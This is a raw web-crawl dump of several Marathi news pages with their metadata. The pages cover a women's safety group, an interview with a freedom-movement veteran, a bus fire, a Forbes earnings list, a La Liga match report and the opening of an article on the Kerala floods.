महिलांसंदार्भातल्या कार्यक्रमात किंवा एखाद्या चौकातल्या नाटकात भाग घेण्यासाठी जातात तेव्हा लोक त्यांना ‘रेड ब्रिगेड’ म्हणतात. याअगोदर कोणतेही नाव नसलेल्या या मुलींना हे नाव आवडू लागले.\nउषा सांगतात की, ’रेड ब्रिगेड’ ची सुरुवात आमच्या सुरक्षेसाठी केली होती कारण यात सहभागी होणाऱ्या मुली तेव्हा खूप तरुण होत्या पण समाजाच्या मान्यतेनंतर आम्ही आमच्या कामाचा विस्तार वाढवला आणि जबाबदारी पेलत गेलो.’\nप्रारंभी जेव्हा ‘रेड ब्रिगेड’ ची स्थापना झाली तेव्हा ठरवले की वेगवेगळ्या भागांमध्ये फिरून रोडरोमिओंवर नजर ठेवायची तसेच अन्यायाविरुद्ध आवाज उठवायचा. आमची संस्था आजपण निर्भयाच्या आठवणींना उजाळा देण्यासाठी २९ तारखेला महिलांच्या अत्याचार विरोधात निदर्शने करतात. विशेषकरून अशा भागात जिथे एखाद्या स्त्रीवर बलात्कार किंवा अॅसिड हल्ला या सारख्या गंभीर घटना घडलेल्या असतात. त्यांच्याच प्रयत्नांचा परिणाम हा आहे की आज स्थानिक प्रशासनाने लखनऊच्या अनेक ठिकाणी सीसीटीव्ही कॅमेरे लावले आहेत. याव्यतिरिक्त पीडित मुलींना वाढीव सवलत मिळत आहे.\nलेखक : हरीश बिश्त\nअनुवाद : किरण ठाकरे\nया तरुणी जागरूकता निर्माण करण्यासाठी गरीब महिलांना मोफत सॅनिटरी नॅपकिन्सचे वाटप करतात \nचेह-यात काही नसते, जयप्रकाशने अनेक अडचणी असूनही त्याच्या लहानपणीच्या मैत्रिणीशीच केले लग्न\nबंगळुरूच्या या दंतचिकित्सकाने भारताच्या वतीने ‘मिस व्हिलचेअर वर्ल्ड २०१७’ साठी नामांकन दाखल केले आहे\n. . . . . आणि एक अभागी 'वसईकर' पासवाला\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00420.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.esakal.com/paschim-maharashtra/independence-day-special-nana-patil-girl-housatai-interview-137813", "date_download": "2018-09-25T17:43:35Z", "digest": "sha1:AKSSARJ552EQPC5WBKIERDDXOEP7MJ2B", "length": 16733, "nlines": 184, "source_domain": "www.esakal.com", "title": "Independence day special Nana Patil Girl Housatai interview Independence Day : स्वातंत्र्य मिळविले; पण टिकवायचे कोणी? | eSakal", "raw_content": "\nIndependence Day : स्वातंत्र्य मिळविले; पण टिकवायचे कोणी\nबुधवार, 15 ऑगस्ट 2018\nकोल्हापूर - स्वातंत्र्य कमवायला खूप ज्ञात-अज्ञात माणसं झटली. त्यांनी त्यांचं सर्वस्व देशाच्या स्वातंत्र्यासाठी वाहिलं. मी देखील त्यात खारीचा वाटा उचलला; पण आज जे चाललंय ते बघितलं, की सुन्न होऊन जातं. कधी कधी असं वाटतं, की आता स्वातंत्र्य टिकविण्यासाठी पुन्हा चळवळ सुरू करावी...\nकोल्हापूर - स्वातंत्र्य कमवायला खूप ज्ञात-अज्ञात माणसं झटली. त्यांनी त्यांचं सर्वस्व देशाच्या स्वातंत्र्यासाठी वाहिलं. मी देखील त्यात खारीचा वाटा उचलला; पण आज जे चाललंय ते बघितलं, की सुन्न होऊन जातं. कधी कधी असं वाटतं, की आता स्वातंत्र्य टिकविण्यासाठी पुन्हा चळवळ सुरू करावी...\nहौसाताई भगवानराव पाटील (वय ९३) तळमळीने बोलत होत्या. या हौसाताई म्हणजे क्रांतिसिंह नाना पाटील यांच्या कन्या. केवळ कन्या नव्हे तर १९४२ च्या चळवळीत चक्क आपल्या बापाच्या हातात हात घालून सशस्त्र चळवळीत सहभागी झालेल्या आणि स्वातंत्र्य चळवळीची धग क्षणाक्षणाला अनुभवलेल्या. ज्या वेळी खेळण्या बागडण्याचे वय त्या वेळी हौसाताई स्वातंत्र्य चळवळीचे क्षण अनुभवू लागल्या.\nआताच्या तरुण पोरांना स्वातंत्र्य चळवळीचा इतिहास माहीत नाही, ज्यांना माहीत आहे त्यांनीही तो नव्या पिढीपर्यंत पोहोचवलेला नाही. त्यामुळे स्वातंत्र्याची किंमतच कोणाला नाही आणि एकूण भ्रष्टाचार, झुंडशाही, जातीयवाद, धर्मवाद पाहता स्वातंत्र्य कमावलं खरं; पण गमावलं जाण्याची अधिक भीती आहे.\nवडील नाना पाटील एके दिवशी नेहमीप्रमाणे घरी आले, ते त्या वेळी तलाठी होते. घरात आल्या आल्या त्यांनी तलाठ्याची नोकरी आपण सोडत असल्याचे सांगून स्वातंत्र्य चळवळीत सहभागाची प्रतिज्ञा केली आणि ते घराबाहेरही पडले. एक तलाठीच स्वातंत्र्यलढ्यात उतरल्याने त्यांच्यावर वॉरंट निघाले आणि त्या वेळेपासून नाना पाटील विरुद्ध ब्रिटिश सरकार, असा पाठशिवणीचा खेळ सुरू झाला. छोट्या हौसाताईला यातले नेमके काय, हे कळत नव्हते; पण ही छोटी हौसा नजरेने सगळं टिपत होती. सरकारने नाना पाटील यांना अटक करण्यासाठी घराला सील केले. जमीन जप्त केली आणि या आघाताने नाना पाटलांची पत्नी म्हणजेच हौसाताईंची आई मरण पावली.\nआणि हौसाताई मामाकडे राहू लागल्या.\nनाना पाटलांची चळवळ जोमात इतकी होती, की नाना पाटलांचे नाव काढले तरी त्यांच्यासमोर एकटे यायला ब्रिटिश अधिकाऱ्यांची हिम्मत होत नव्हती. आपल्या बापाची ही चळवळ हौसाताई पहात होत्या. रात्री-अपरात्री घरावर पोलिसांची धाड पडे, त्या वेळी हौसाताई पोलिसांना धैर्याने सामोरे जात.\nएवढेच करून त्या थांबल्या नाहीत, तर त्या वडिलांच्या सशस्त्र चळवळीत सहभागी झाल्या.\nक्रांतिकारकांना जेवण पुरवणे, काडतुसे, पिस्तुले इकडून-तिकडे पोहोचवणे, महत्त्वाचे निरोप रात्री-अपरात्री एकमेकाला देणे, भवानीनगर रेल्वे स्टेशनवरून पोलिसांच्या बंदुकी पळवणे, या कामात त्या सक्रिय राहिल्या. भूमिगत राहून ब्रिटिशांविरुद्ध वाघासारखे लढणाऱ्या आपल्या बापासाठी जीवाचं रान करू लागल्या. ‘दिसले की गोळी घाला’ असा आदेश ज्या नाना पाटलांसाठी सरकारने दिला होता. त्यामुळे नाना पाटील भूमिगत राहून चळवळ चालवत होते. सरकारला जेरीस आणत होते. अशा वेळी बापासोबत निधड्या छातीने हौसाताई लढत होत्या. रोज वेगवेगळे चटके अनुभवत होत्या. हे अनुभवता अनुभवता स्वातंत्र्य चळवळीच्या वाटचालीचा त्या खणखणीत साक्षीदारच बनून गेल्या.\nआज हौसाताईंचे वय ९३ आहे. पती माजी आमदार भगवानराव पाटील यांचे निधन झाले आहे. आता मुलगा ॲड. सुभाषराव पाटील, प्रा. विलासराव पाटील यांच्यासोबत कुटुंबात आहेत. वय ९३ असले तरीही बऱ्यापैकी खणखणीत आहेत. स्वातंत्र्य चळवळीचे ते दिवस आजही डोळ्यासमोर आहेत; पण एक खंत कायम त्यांच्यासोबत आहे. स्वातंत्र्य मिळवले खरे; पण देशात जे काही एकूण चाललंय ते पाहून खरंच हे स्वातंत्र्य टिकणार का, हा त्यांच्या मनात सदैव खदखदणारा प्रश्‍न आहे.\nबाळासाहेब खोटे बोलतात : गुलाबराव गावंडे\nअकोला : राष्ट्रवादी काँग्रेसचे सर्वेसर्वा आणि महाराष्ट्रातील बहुजनांचे नेते शरद पवार यांच्यामुळेच भारिप बहुजन महासंघाचे नेते अॅड. बाळासाहेब...\n...अन् आजीबाई थोडक्यात बचावल्या\nमनमाड : दैव बलवत्तर म्हणून समोरून धडधडत येणारा काळ अगदी जवळून निघून गेला आणि आजीबाईच्या जीवात जीव आला. मनमाड रेल्वे स्थानकावर रेल्वे...\nदुष्काळातही शेतकरी आशावादी ; ज्वारीची पेरणी सुरू\nकरमाळा : करमाळा तालुक्‍यात पावसाने ओढ दिली आहे. खरिपाची पिके अक्षरशः करपून गेली. काहीही खरीप हाती लागले नाही. तरीही आशावाद जीवंत ठेवत शेतकऱ्यांनी...\nबीड : महाराष्ट्र, कर्नाटक व मध्यप्रदेश, उत्तरप्रदेश व राजस्थान या राज्यांतील अनेक जिल्ह्यांत भौतिक, आर्थिक व औद्योगिक विकासाला चालना मिळण्यासाठी...\nउदयनराजेंबाबत शरद पवारांचा 'यॉर्कर' \nसातारा : उदयनराजेंच्या उमेदवारीला सातारा जिल्ह्यातील राष्ट्रवादीच्या आमदारांचा विरोध अशा बातम्या पसरत आहेत. तोपर्यंतच राष्ट्रवादी काँग्रेसचे...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00421.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.esakal.com/uttar-maharashtra/marathi-news-jalgaon-st-bus-fire-night-138373", "date_download": "2018-09-25T17:27:50Z", "digest": "sha1:ZB2OLCNBTGYUIE7L75C5U2FZE5CMDGEL", "length": 12062, "nlines": 175, "source_domain": "www.esakal.com", "title": "marathi news jalgaon st bus fire night मांडळ येथील मुक्कामी बसला भीषण आग | eSakal", "raw_content": "\nमांडळ येथील मुक्कामी बसला भीषण आग\nशनिवार, 18 ऑगस्ट 2018\nअमळनेर : मांडळ (ता. अमळनेर) येथे शुक्रवारी रात्री दीड ते दोनच्या सुमारास मांडळ मुक्काम बसला भीषण आग लागल्याची घटना समोर आली आहे. या आगीत बस पूर्ण जळून खाक झाली आहे. सुदैवाने यात कोणतीही जीवितहानी झालेली नाही. तर आगीचे नेमके कारण समजू शकले नाही.\nअमळनेर : मांडळ (ता. अमळनेर) येथे शुक्रवारी रात्री दीड ते दोनच्या सुमारास मांडळ मुक्काम बसला भीषण आग लागल्याची घटना समोर आली आहे. या आगीत बस पूर्ण जळून खाक झाली आहे. सुदैवाने यात कोणतीही जीवितहानी झालेली नाही. तर आगीचे नेमके कारण समजू शकले नाही.\nअमळनेरहून मांडळ येथे जाणारी बस रात्री साडे नऊला मांडळ येथे पोहचते. शुक्रवारी नेहमीप्रमाणे बस (क्रमांक एमएच14 बीटी419) ही रात्री साडे नऊला मांडळला पोहचली होती. चालक व वाहक बसमध्ये किंवा टपावर झोपतात. मात्र, पाऊस असल्याने चालक सुशील हिरालाल चव्हाण व वाहक शरद गव्हाणे हे गावाबाहेरील गावदरवाज्या शेजारी झोपले होते. रात्री सुमारे दीडला बसला आग लागल्याची घटना समोर आली.\nचालक व वाहक बाहेर असल्याने ते बचावले आहेत. ग्रामस्थांनी मिळेल त्या साधनांनी आग विझवण्यास सुरवात केली. अग्निशामक दलाची गाडी बोलविण्यात आली होती. मात्र, तोपर्यंत आग विझवण्यास ग्रामस्थांना यश आले. या भीषण आगीत बसचा आतील भाग पूर्णपणे जळाला आहे. पोलिसांना या घटनेची माहिती मिळताच पोलिस तातडीने घटनास्थळी दाखल झाले. बस पेटली की पेटविली याबाबत अद्याप संशय असून पोलिस याप्रकरणी अधिक तपास करीत आहेत. दरम्यान, जळगाव येथील राज्य परिवहन विभागाचे पंकज महाजन, पी. एफ. धडे, आर. बी. देवरे, सुरक्षा अधिकारी जे. आर. पाटील, अमळनेर आगारप्रमुख बी. एम. बाविस्कर व वर्कशॉपचे पी. एन. बाविस्कर यांनी आज सकाळी नऊच्या सुमारास घटनास्थळी भेट देऊन पाहणी केली.\nअनैतिक संबंधातून खून; दोघांना जन्मठेप\nनाशिक : अनैतिक संबंधावरून दम दिल्याच्या रागातून आरोपीने साथीदाराच्या मदतीने प्रेयसीचा पती दशरथ ठमके यांचा निर्घृणपणे खून केला. त्यानंतर पुरावा...\n...अन् आजीबाई थोडक्यात बचावल्या\nमनमाड : दैव बलवत्तर म्हणून समोरून धडधडत येणारा काळ अगदी जवळून निघून गेला आणि आजीबाईच्या जीवात जीव आला. मनमाड रेल्वे स्थानकावर रेल्वे...\nदुष्काळातही शेतकरी आशावादी ; ज्वारीची पेरणी सुरू\nकरमाळा : करमाळा तालुक्‍यात पावसाने ओढ दिली आहे. खरिपाची पिके अक्षरशः करपून गेली. काहीही खरीप हाती लागले नाही. तरीही आशावाद जीवंत ठेवत शेतकऱ्यांनी...\nबीडमध्ये घर परवान्यावर शाळा बांधकाम ; गुन्हा दाखल\nबीड : नगर पालिकेकडून घराच्या बांधकामाचा परवाना घेऊन शहरातील अजिजपुरा भागात शाळेचे बांधकाम केल्याचे स्वच्छता विभागाच्या पाहणीत समोर आले आहे....\nतेरा दिवसात पती-पत्नीचा स्वाईन फ्लुमळे मृत्यु\nउरुळी कांचन : उरुळी कांचन (ता. हवेली) येथील प्रभावती वाल्मिक कांचन यांचे बारा दिवसांपुर्वी स्वाईन फ्लुमळे झालेल्या मृत्युचे दुःख अद्याप ताजे असतानाच...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00421.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "https://lokmat.news18.com/entertainment/priyanka-chopra-rich-tv-actoress-said-forbs-270822.html", "date_download": "2018-09-25T17:42:22Z", "digest": "sha1:N6RMNEFYSIGPDGHLG7QBSFNZCGFRZO4E", "length": 12374, "nlines": 127, "source_domain": "lokmat.news18.com", "title": "प्रियांका चोप्रा जगातली श्रीमंत टीव्ही अभिनेत्री, फोर्ब्सनं केलं प्रसिद्ध", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nप्रियांका चोप्रा जगातली श्रीमंत टीव्ही अभिनेत्री, फोर्ब्सनं केलं प्रसिद्ध\nफोर्ब्सच्या म्हणण्यानुसार प्रियांकाची वर्षभराची कमाई 64 कोटी 60 लाख रुपये आहे. तिनं जास्तीत जास्त पैसे जाहिरातींमधून कमावलेत.\n27 सप्टेंबर : फोर्ब्स मासिकानं टीव्हीवरच्या श्रीमंत अभिनेत्रींची यादी प्रसिद्ध केलीय. त्यात आपल्या प्रियांका चोप्राचं नाव आहे. प्रियांका या यादीत दुसऱ्यांदा आलीय. तिचा नंबर आठवा आहे.\nफोर्ब्सच्या म्हणण्यानुसार प्रियांकाची वर्षभराची कमाई 64 कोटी 60 लाख रुपये आहे. तिनं जास्तीत जास्त पैसे जाहिरातींमधून कमावलेत.\nया श्रीमंत अभिनेत्रींच्या यादीत नंबर वनवर आहे सोफिया वेरगारा. ती गेली सहा वर्ष टाॅपमध्ये आहे. गेल्या वर्षभरातली तिची कमाई 272 कोटी रुपये आहे.\nफोर्ब्सनं प्रियांकाला बाॅलिवूडच्या श्रीमंत अभिनेत्रींमध्ये ठेवलं होतं. त्यात दीपिकाही होती. आताही प्रियांकासाठी हे मोठं यश म्हणता येईल.\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\nTags: 'फोर्ब्स'forbspriyanka chopraप्रियांका चोप्रा\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nसोनम कपूरचा फॅशन जलवा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00421.warc.wet.gz", "language": "mr", "language_score": 0.93, "bucket": "all"} {"url": "https://mahasports.co.in/la-liga-ronaldo-starts-as-real-madrid-fall-to-real-betis/", "date_download": "2018-09-25T17:00:24Z", "digest": "sha1:AGKCXVYP4WX4FS4VJQPRN6B4PMX4HAFZ", "length": 10468, "nlines": 60, "source_domain": "mahasports.co.in", "title": "रिअल माद्रीदला पराभवाचा दणका, माद्रिद सातव्या स्थानावर -", "raw_content": "\nरिअल माद्रीदला पराभवाचा दणका, माद्रिद सातव्या स्थानावर\nरिअल माद्रीदला पराभवाचा दणका, माद्रिद सातव्या स्थानावर\nला लीगामध्ये काल मागील वर्षाचा विजेता संघ रिअल माद्रिदचा सामना रिअल बेटीस या संघाशी झाला. या सामन्यात माद्रीद संघावर पराभवाची नामुष्की आली. अतिरिक्त वेळेमध्ये त्यांना एक गोल स्वीकारावा लागल्याने त्यांनी हा सामना १-० असा गमावला. क्रिस्तिआनो रोनाल्डोने ला लीगामध्ये ५ सामन्यांच्या बंदीनंतर काल परत संघात प्रवेश केला.\nसामन्याच्या पहिल्या सत्रात तिसऱ्या मिनिटाला रिअल बेटीस संघाला गोल करण्याची संधी मिळाली. या संधीत ते माद्रिदच्या गोलकीपर कियौर नवास याला चुकवण्यात अन्टेनिओ सनाब्रिया यशस्वी झाला. परंतु माद्रिदचा डिफेंडर दानी कार्वाज़ल याने अनपेक्षितपणे गोलपोस्टच्या लाईनवर त्याचा फटका रोखला. त्यानंतर १७ व्या मिनिटाला माद्रिदच्या लुका मॉड्रीच याने एक उत्तम चाल रचली. तो माद्रीदच्या बॉक्स पासून बॉल घेऊन आला. रोनाल्डोने बॉक्समध्ये रन केला पण त्याला दोन डिफेंडर्सने मार्क केले होते. त्यामुळे मॉड्रीचने किक केली. त्याने केलेली किक गोलपोस्टचा वेध घेऊ शकली नाही.\nपहिल्या सत्रात २८ व्या मिनिटाला बेलने बेटीसच्या बॉक्समध्ये रोनाल्डोसाठी एक उत्तम संधी निर्माण केली. त्यात रोनाल्डोला फक्त गोलकीपरला चुकवायचे होते. त्यात त्याला अपयश आले. त्याने मारलेला फटका बेटीसच्या गोलकीपर अँटोनियो आदान याने रोखली. माद्रिद येथे जन्मलेल्या अँटोनियो आदान याचा आजचा दिवस खूप चांगला होता त्याने ४५ व्या मिनिटाला रिअल माद्रिदच्या इस्कोने बॉक्समधून मारलेली कीक खूप कमी प्रतिक्रियेच्या वेळेत अडकवली.त्यानंतर पहिले सत्र गोलशून्य बरोबरीत संपले.\nदुसऱ्या सत्रात माद्रिद संघाकडून खूप खरं खेळ दाखवण्यात आला. परंतु ते गोल करण्यात अपयशी ठरले. सामन्याच्या ७४ व्या मिनिटाला माद्रिदने राईट विंग वरून चाल रचली. इस्कोने बॉल क्रॉस इन केला. बेलने या क्रॉसला सुंदर बॅक हील करत बॉल गोलपोस्टला कडे टाकला. हा अनपेक्षित प्रकार बेटीसच्या गोलकीपरला समजला नाही. परंतु बॉलने गोल जाळ्यात न जाता गोलपोस्टच्या डाव्या खांबाचा वेध घेतला. त्यामुळे गोल होऊ शकला नाही. सामना गोलशून्य बरोबरीतच होता. त्यानंतर सामन्यात गोल होऊ शकला नाही. निर्धारित वेळेत गोल झाला नाही. सामन्यात अतिरिक्त ४ मिनिटे वेळ दिला गेला.\nअतिरिक्त वेळेत पहिले दोन मिनिटे गोल झाला नाही. या सामन्यात गोल होण्याचे चिन्हे धूसर झाली असता रिअल बेटीससंघाने चाल रचली. बॉक्सच्या डाव्या कोपऱ्यातुन बॉल मध्ये टाकला गेला. त्यावर अन्टेनिओ सनाब्रिया याने हेडर करत ९३ व्या मिनिटाला गोल केला. या गोलमुळे हा सामना रिअल बेटीसने १-० असा जिंकला. या विजयामुळे बेटीसचा संघ ला लीगामध्ये सहाव्या स्थानावर विराजमान झाले. सामना गमावल्यामुळे रिअल माद्रीद सातव्या स्थानावर गेले आहे.\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप २०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\nकर्णधारपद रोहित शर्मासाठी ठरतयं फलदायी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00421.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.agrowon.com/agriculture-stories-marathi-agrowon-special-article-kerale-flood-part-2-11655?tid=120", "date_download": "2018-09-25T17:55:43Z", "digest": "sha1:SKF7XCXQVXDWEGGZXJWFDSVCGNYTKB62", "length": 24779, "nlines": 152, "source_domain": "www.agrowon.com", "title": "agriculture stories in marathi agrowon special article on kerale flood part 2 | Agrowon", "raw_content": "\nAgrowon च्या बातम्यांसाठी सबस्क्राईब करा\nAgrowon च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\nशनिवार, 25 ऑगस्ट 2018\nऑगस्टमध्ये केरळात अतिवृष्टी झाली. परंतु, असाच पाऊस या राज्यात मागील १०० वर्षांपासून पडत असताना या वर्षीचा पाऊस दरडी घेऊन खाली नद्यांमध्ये का आला, याची चौकशी होणे गरजेचे आहे आणि यापासून आपण काहीच धडा घेतला नाही तर विनाश अटळ आहे.\nइस्त्रोचे माजी अध्यक्ष डॉ. माधवन नायर सुद्धा केरळच्या महापुरासाठी वातावरण बदलाबरोबरच पडलेला पाऊस आणि विकासाच्या नावाखाली पश्चिम घाटावर सतत चालू असलेला ओरखड्यांना जबाबदार धरतात. केरळमध्ये सर्वात जास्त हानी ही दरडी कोसळून झाली आहे. कोसळलेल्या दरडीमुळे अनेक लहान मोठ्या नद्यांचे प्रवाह अकस्मात बदलले आणि ‘पाणीच पाणी चोहीकडे’ अशी स्थिती झाली. नदीमधील वाळूचे थर स्पंजाप्रमाणे पाणी शोषून घेतात पण अनधिकृत वाळू उपश्यामुळे नद्यांची पाणी साठवून ठेवण्याची क्षमता संपली आणि त्या जोरात वाहू लागल्या. डॉ. माधवन म्हणतात, डोंगर उतारावरील वृक्ष दरडी कोसळण्यापासून रोखू शकतात पण असे वृक्ष तोडल्यामुळेच ही आपत्ती आली. नद्यांकाठी वाढत असलेल्या मानवी वस्तींमुळे सुद्धा हानीमध्ये भर पडली. केरळमधील पश्चिम घाटातील संवेदनशील क्षेत्रे फक्त नकाशावर नकोत तर ती प्रत्यक्षपणे संरक्षित करणे गरजेचे आहे याबद्दलसुद्धा ते आग्रही आहेत.\n८ ऑगस्टपासून पडणाऱ्या संततधार पावसाने आज या राज्याच्या राजधानीचे शहर वगळता संपूर्ण वाताहात झाली आहे. राज्यामधील सर्व ८० धरणांचे दरवाजे उघडले आहेत. ‘इडुकी’ हे आशियामधील सर्वात मोठे धरण गेल्या ८० वर्षात प्रथमच भरले आणि त्याचे ही दरवाजे उघडले गेले. २०१३ मध्ये सुद्धा 